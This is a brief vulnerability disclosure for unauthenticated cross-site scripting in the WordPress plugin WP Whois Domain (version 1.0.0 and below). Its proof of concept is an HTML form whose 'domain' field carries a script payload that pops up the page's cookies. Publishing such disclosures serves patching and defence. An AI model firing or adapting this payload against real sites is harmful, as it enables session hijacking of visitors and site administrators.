WP Whois Domain <= 1.0.0 - Unauthenticated Cross-Site Scripting (XSS)

Proof of Concept

<form action="[url of page with the whois form]" method="post">
  <input type="hidden" name="domain" value=""><script>alert(document.cookie)</script>">
  <input type="submit" value="Submit">
</form>